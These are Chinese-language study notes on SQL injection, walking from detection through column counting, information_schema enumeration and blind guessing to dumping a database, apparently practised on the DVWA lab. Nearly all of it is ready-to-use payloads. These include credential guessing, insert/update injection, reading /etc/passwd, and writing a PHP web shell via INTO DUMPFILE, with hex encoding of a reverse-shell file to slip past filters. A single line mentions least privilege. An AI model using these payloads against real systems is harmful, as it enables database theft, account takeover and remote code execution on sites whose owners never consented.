SQL注入(一)SQL注入的利用思路

从检测到拖库的基本流程

一、检测是否存在注入

  • 基于报错的检测方法
    • ’ ” % ()
  • 基于布尔的检测
    • 1‘ and ‘1’=’1 / 1’ and ‘1
    • 1’ and ‘1’=2 / 1’ and ‘0

二、查明查询返回的列数

注意:–后必须加一个空格,否则注释不生效

  • 方法1,查询得到执行,说明该列存在,试出最大列数:
    • ‘ order by 20 –
    • ‘ order by 10 –
    • ‘ order by 5 –
  • 方法2,查询得到执行,说明使用了正确的列数:
    • ‘ union select null –
    • ‘ union select null, null –
    • ‘ union select null, null, null –
  • 方法3
    • ‘ union select 1,2,3,4 – 观察前端返回的是查询到的第几个字段

三、找到一个使用字符串数据类型的列

  • 注入以下语句,如果查询得到执行,将看到另一行包含a的数据
    • ‘ union select ‘a’, null, null –
    • ‘ union select null, ‘a’, null –
    • ‘ union select null, null, ‘a’ –
  • 此时可以,把字符串的字段改为数据库的函数
    • ‘ union all select database(),null,null –
    • ‘ union select @@version,null,null – (Mysql)
    • ‘ union select banner,null,null from v$version– (Oracle)

四、获取有用的数据

  • 一些常用的函数:
    • ’ union select database() ,substring_index(USER(),”@”,1)–
      • 把USER()执行的结果用@切分,显示第一段
    • DB用户:user()
    • DB版本:version()
    • 全局函数:@@datadir、@@hostname、@@VERSION、@@version_compile_os
    • 当前库:database()
    • ASCII转字符:char()
    • CONCAT_WS(CHAR(32,58,32),user(),database(),version())
    • MD5(‘b’)

五、拖库

有权限读取information_schema库
  • MySQL数据查询(元数据的表 information_schema)
    • 查询有那些库
      • select schema_name from information_schema.schemata;
      • select distinct table_schema from information_schema.tables;
    • 查询有哪些表
      • select table_name from information_schema.tables;
      • select count(*),table_schema from information_schema.tables group by table_schema //看看每个库各有几张表
        • 其中information_schema很有价值,必须要学。
    • 查询库中的表名
      • select table_schema from information_schema.tables where table_schema= ‘dvwa’
    • 查询表中的列名
      • select table_name,column_name from information_schema.columns where table_schema = ‘dvwa’ and table_name=’users’
    • 查询表中数据
无权读取information_schema库 / 拒绝union、order by语句
  • 第一步、猜列名:' and asd is null --

    • 可以通过返回信息得到 asd这个列是否存在,提前准备好字典。用burp Intruder
    • find / -name *.column*.txt
      • 去除以#开头的行cat xxx.txt | grep -v ^# > column.txt
  • 通过列名猜当前表名:' and table.user is null --

    • find / -name *.table.txt
      • 同样需要去除#开头的行
  • 猜库名:' and db.table.user is null --

  • 猜库中的其他表:' and (select count(*) from table)>0 --

  • 猜表对应关系:' and user.user is null --

  • 猜字段内容:or user='admin,or user like '%a%'

  • 账号对应密码:' or user = 'admin' and password = 'md5hash'

    • 用md5sum命令把密码字典生成MD5字典,然后intruder
  • 可以插入账号密码数据条目'; insert xxxxxx,';update users set user='aaa' where user='bbb'

六、其它利用场景

  • 读取文件
    • select load_file(‘/etc/passwd’)
  • 写入文件
    • select “<?php passthru($_GET[‘cmd’]); ?>” INTO DUMPFILE “/var/www/a.php”
      • DUMPFILE后不加路径的话,默认位置在/var/lib/mysql/dvwa/a.php
      • 语句中的符号可能会被过滤,可以尝试使用编码绕过,url编码,16进制编码。INTO DUMPFILE 函数会解码。
        • cat reverse-shell.php|xxd -ps|tr -d '\n'
          • xxd -ps 生成的二进制文件中会有换行符,需要用tr来去掉
        • select (0x1111111111111) into dumpfile “/tmp/c.php”
    • 写入到/tmp文件夹(777权限),然后include到页面中,include成为当前页面的一部分,而当前页面是有执行权限的
  • 保存下载数据库
    • select select (0x1111111111111) into outfile “/tmp/a.db”

总结

  1. 判断是否存在
  2. 查明列数
  3. 找到string类型位置
  4. 查询,利用

权限最小化,权限分离